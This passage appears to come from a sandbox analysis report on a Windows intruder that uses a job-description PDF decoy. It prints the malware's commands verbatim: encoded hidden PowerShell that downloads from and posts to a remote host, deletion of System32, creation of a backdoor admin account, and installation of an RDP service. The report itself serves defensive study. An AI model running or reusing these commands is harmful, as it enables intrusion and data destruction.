pACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1AAD.tmp" "c:\Users\user\AppData\Local\Temp\ybpc4wl1\CSC6A692CC47F2F404EAC3A66596F569951.TMP"Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\user\AppData\Local\Temp\Job-Description.pdf.pdf"Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB1AHkAdAAxAG4AOABkAGUAZAA5AGYAYgAzADgAMAAuAGMAbwBtAC8AZgBpAGwAZQAyAC8AOQAyADAANwA1AGQAYwA5AGQAYwA0AGEAOQA3ADUAYQA5ADQAOQBjAGYANAA0ADMAOAAxAGEAZAA2AGIAMgAzADkAZQBjADEAOAAxADQAOQBiADAAZgA1ADYAZQAzADYANgAwADIAYwBkADMANgBmAGYAMwBiADkAYgAzAGEAMQA5ADkANQBmADUAOAA2AGUAMAA1ADAANgA2ADYANABmADgAMgBiAGIAMQA4AGUAMwA3AGMAMQBiADAANQBiAGMAZQBiAGMAZQA3ADkAZAA5AGMAMQA2AGMANgBlAGYAMgBmADEANQA2AGIAZgBiADMAMwAyAGMAZgA4ADkANwA1ADYAZgA5AGQAMwBlADgAZgBjADgAOAAzADMAYwBiADEAYQA0AGMANgBhAGMAZQAwADEANQA0ADEAYwA2ADAAMABiAGIANAA2ADgAZABlAGEANwA4ADkAZABkADQAMwA2AGUAYQA3ADAAZAA5AGIANQA2AGMAMwBhADcAOQA2ADUAMQAzADgAMQBjAGEAYQAyADAANwA0ADYANgAxADkAYgBiAGEANgBjAGYAMgA2ADIAZQAyADAANAAxADYAOAA5ACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgADJump to behavior
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc stop "myRdpService"
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\cmd.exe "cmd.exe" /C "rdp.exe -i && rdp.exe -w ""https://uyt1n8ded9fb380.com/rdp/init"""
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc query myRdpService
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc query myRdpService
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc stop "myRdpService"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc query myRdpService
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc delete "myRdpService"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net start "myRdpService"
            Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 start "myRdpService"
            Source: C:\Windows\Temp\myRdpService.exeProcess created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
            Source: C:\Windows\Temp\myRdpService.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "systeminfo | Select-String \"OS Name\",\"OS Version\";"
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\Temp\rdp.exe rdp.exe -i
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
            Source: unknownProcess created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /v /k "s^t^ar^t /m^i^n "" p^o^wers^h^e^l^l -w h^i^dde^n -no^l^ogo -nop -ep by^pa^ss -en^cod^edcom^m^and "sqbfafgaiaaoafsavablafgavaauaeuatgbdag8arabpae4azwbdadoaogbvafqarga4ac4arwbfafqauwbuahiaaqbuagcakaaoagkadwbyacaakabbafmaeqbzahqazqbtac4avablahgadaauaeuabgbjag8azabpag4azwbdadoaogbvafqarga4ac4arwblahqauwb0ahiaaqbuagcakabbaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoaciayqbiafiamabjaegatqa2aewaeqa5adeazqbyafeaeabiagoaaabrafoavwbraduawgbtaekaegbpaeqaqqb1afkamga5ahqatab6aeiarqbnaeuauqa9aciakqapackakqauaematwboahqazqbuahqakqapaa=="" && exit
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -nologo -nop -ep bypass -encodedcommand "sqbfafgaiaaoafsavablafgavaauaeuatgbdag8arabpae4azwbdadoaogbvafqarga4ac4arwbfafqauwbuahiaaqbuagcakaaoagkadwbyacaakabbafmaeqbzahqazqbtac4avablahgadaauaeuabgbjag8azabpag4azwbdadoaogbvafqarga4ac4arwblahqauwb0ahiaaqbuagcakabbaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoaciayqbiafiamabjaegatqa2aewaeqa5adeazqbyafeaeabiagoaaabrafoavwbraduawgbtaekaegbpaeqaqqb1afkamga5ahqatab6aeiarqbnaeuauqa9aciakqapackakqauaematwboahqazqbuahqakqapaa=="
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwb1ahkadaaxag4aoabkaguazaa5agyaygazadgamaauagmabwbtac8azgbpagwazqayac8aoqayadaanwa1agqaywa5agqaywa0ageaoqa3aduayqa5adqaoqbjagyanaa0admaoaaxageazaa2agiamgazadkazqbjadeaoaaxadqaoqbiadaazga1adyazqazadyangawadiaywbkadmangbmagyamwbiadkaygazageamqa5adkanqbmaduaoaa2aguamaa1adaanga2adyanabmadgamgbiagiamqa4aguamwa3agmamqbiadaanqbiagmazqbiagmazqa3adkazaa5agmamqa2agmangblagyamgbmadeanqa2agiazgbiadmamwayagmazga4adkanwa1adyazga5agqamwbladgazgbjadgaoaazadmaywbiadeayqa0agmangbhagmazqawadeanqa0adeaywa2adaamabiagianaa2adgazablageanwa4adkazabkadqamwa2aguayqa3adaazaa5agianqa2agmamwbhadcaoqa2aduamqazadgamqbjageayqayadaanwa0adyangaxadkaygbiageangbjagyamga2adiazqayadaanaaxadyaoaa5aciaowanaaoajabjag8adqbuahqaiaa9acaamqawadaaowanaaoadqakaa0acganaaoazgb1ag4aywb0agkabwbuacaauwblag4azaagahsadqakacaaiaagacaacabhahiayqbtacgaiabbafaauwbpagiaagblagmadabdacaajabsag8azwbnahmazwagackadqakaa0acgagacaaiaagacmaiabdag8abgb2aguacgb0acaaygbvagqaeqagahqabwagahmadabyagkabgbnaa0acgagacaaiaagacqacwb0ahiaaqbuagcaqgbvagqaeqagad0aiabbahmadabyagkabgbnaf0akaakagwabwbnae0acwbnacaafaagaemabwbuahyazqbyahqavabvac0asgbzag8abgapadsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaa9acaaqaaoackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagacsapqagacqacwb0ahiaaqbuagcaqgbvagqaeqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaaigatac0alqatac0alqatac0alqataciaowanaaoadqakacaaiaagacaajaboaguayqbkaguacgbzacaapqagaeaaewb9adsadqakacaaiaagacaajabraguaeqagad0aiaaiaemabwbuahqazqbuahqalqbuahkacablaciaowanaaoaiaagacaaiaakahyayqbsahuazqagad0aiaaiageacabwagwaaqbjageadabpag8abgavagoacwbvag4aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmawwakagsazqb5af0aiaa9acaajab2ageabab1aguaowanaaoaiaagacaaiaakahuacgbpacaapqagaciatabpaecavqbsaewaiga7aa0acgagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabiag8azab5acaapqagacqababvagcatqblahmacwbhagcazqbzacaafaagaemabwbuahyazqbyahqavabvac0asgbzag8abga7aa0acgagacaaiaagacaaiaagacaaiaagacaaiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab1ahiaaqagac0atqblahqaaabvagqaiabqag8acwb0acaalqbiaguayqbkaguacgbzacaajaboaguayqbkaguacgbzacaalqbcag8azab5acaajabiag8azab5aa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagagmayqb0agmaaab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaanaaoaiaagacaaiaagacaaiaagah0adqakacaaiaagacaadqakah0adqakaa0acgb3aggaaqbsaguakaakagmabwb1ag4adaagac0azwb0acaamaapaa0acgb7aa0acgajaa0acgajahqacgb5ahsadqakacaaiaagacaaiaagacaaiabtaguabgbkacaaigbiaguazwbpag4aiabkag8adwbuagwabwbhagqaiaakahuacgbpaciaowanaaoacqajacqaywbvag4adablag4adaagad0aiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab1ahiaaqagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagcaowanaaoaiaagacaaiaagacaaiaagacqaygb5ahqazqbbahiacgbhahkaiaa9acaajabjag8abgb0aguabgb0ac4aywbvag4adablag4adaa7aa0acgagacaaiaagacaaiaagacaazgbvah
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwb1ahkadaaxag4aoabkaguazaa5agyaygazadgamaauagmabwbtac8azgbpagwazqayac8aoqayadaanwa1agqaywa5agqaywa0ageaoqa3aduayqa5adqaoqbjagyanaa0admaoaaxageazaa2agiamgazadkazqbjadeaoaaxadqaoqbiadaazga1adyazqazadyangawadiaywbkadmangbmagyamwbiadkaygazageamqa5adkanqbmaduaoaa2aguamaa1adaanga2adyanabmadgamgbiagiamqa4aguamwa3agmamqbiadaanqbiagmazqbiagmazqa3adkazaa5agmamqa2agmangblagyamgbmadeanqa2agiazgbiadmamwayagmazga4adkanwa1adyazga5agqamwbladgazgbjadgaoaazadmaywbiadeayqa0agmangbhagmazqawadeanqa0adeaywa2adaamabiagianaa2adgazablageanwa4adkazabkadqamwa2aguayqa3adaazaa5agianqa2agmamwbhadcaoqa2aduamqazadgamqbjageayqayadaanwa0adyangaxadkaygbiageangbjagyamga2adiazqayadaanaaxadyaoaa5aciaowanaaoajabjag8adqbuahqaiaa9acaamqawadaaowanaaoadqakaa0acganaaoazgb1ag4aywb0agkabwbuacaauwblag4azaagahsadqakacaaiaagacaacabhahiayqbtacgaiabbafaauwbpagiaagblagmadabdacaajabsag8azwbnahmazwagackadqakaa0acgagacaaiaagacmaiabdag8abgb2aguacgb0acaaygbvagqaeqagahqabwagahmadabyagkabgbnaa0acgagacaaiaagacqacwb0ahiaaqbuagcaqgbvagqaeqagad0aiabbahmadabyagkabgbnaf0akaakagwabwbnae0acwbnacaafaagaemabwbuahyazqbyahqavabvac0asgbzag8abgapadsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaa9acaaqaaoackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagacsapqagacqacwb0ahiaaqbuagcaqgbvagqaeqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaaigatac0alqatac0alqatac0alqataciaowanaaoadqakacaaiaagacaajaboaguayqbkaguacgbzacaapqagaeaaewb9adsadqakacaaiaagacaajabraguaeqagad0aiaaiaemabwbuahqazqbuahqalqbuahkacablaciaowanaaoaiaagacaaiaakahyayqbsahuazqagad0aiaaiageacabwagwaaqbjageadabpag8abgavagoacwbvag4aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmawwakagsazqb5af0aiaa9acaajab2ageabab1aguaowanaaoaiaagacaaiaakahuacgbpacaapqagaciatabpaecavqbsaewaiga7aa0acgagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabiag8azab5acaapqagacqababvagcatqblahmacwbhagcazqbzacaafaagaemabwbuahyazqbyahqavabvac0asgbzag8abga7aa0acgagacaaiaagacaaiaagacaaiaagacaaiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab1ahiaaqagac0atqblahqaaabvagqaiabqag8acwb0acaalqbiaguayqbkaguacgbzacaajaboaguayqbkaguacgbzacaalqbcag8azab5acaajabiag8azab5aa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagagmayqb0agmaaab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaanaaoaiaagacaaiaagacaaiaagah0adqakacaaiaagacaadqakah0adqakaa0acgb3aggaaqbsaguakaakagmabwb1ag4adaagac0azwb0acaamaapaa0acgb7aa0acgajaa0acgajahqacgb5ahsadqakacaaiaagacaaiaagacaaiabtaguabgbkacaaigbiaguazwbpag4aiabkag8adwbuagwabwbhagqaiaakahuacgbpaciaowanaaoacqajacqaywbvag4adablag4adaagad0aiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpaca